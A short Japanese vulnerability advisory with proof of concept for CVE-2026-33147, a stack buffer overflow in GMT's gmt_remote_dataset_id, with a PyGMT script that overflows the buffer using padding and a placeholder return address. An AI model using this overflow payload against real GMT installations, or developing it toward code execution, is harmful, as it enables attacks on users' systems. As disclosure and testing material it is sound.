
スタックベースのバッファオーバーフローをGMTの`gmt_remote_dataset_id`に対して実証する概念実証エクスプロイト。巧妙に細工されたデータセット名によるクラッシュと潜在的なコード実行を示します。
CVE-2026-33147(gmt_remote_dataset_id におけるスタックベースのバッファオーバーフロー)
src/gmt_remote.c 内の gmt_remote_dataset_id 関数において、スタックベースのバッファオーバーフローの脆弱性が特定されました。この問題は、特別に細工された長い文字列がデータセット識別子(例: which モジュール経由)として渡された場合に発生し、クラッシュや潜在的な任意コード実行につながる可能性があります。
この脆弱性は、ユーザーが制御するデータセット名を固定サイズのスタックバッファ file[PATH_MAX] にコピーする際に、strcpy(または同様の境界チェックのない文字列操作)を安全でない方法で使用していることが原因です。
入力が PATH_MAX(通常 4096 バイト)を超えると、リターンアドレスを含むスタックフレームが上書きされます。これは AddressSanitizer(ASan)を使用して確認され、stack-buffer-overflow が報告されました。
PyGMT を使用した以下の Python スクリプトでクラッシュを再現できます:
import struct
from pygmt.clib import Session
with Session() as lib:
# スタックバッファをオーバーフローさせるためのペイロード
padding = "A" * 4096
fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
payload = padding + fake_ret.decode("latin-1")
# 'which' モジュールを介してオーバーフローをトリガー
lib.call_module("which", [payload])
これはメモリ安全性に関する脆弱性です。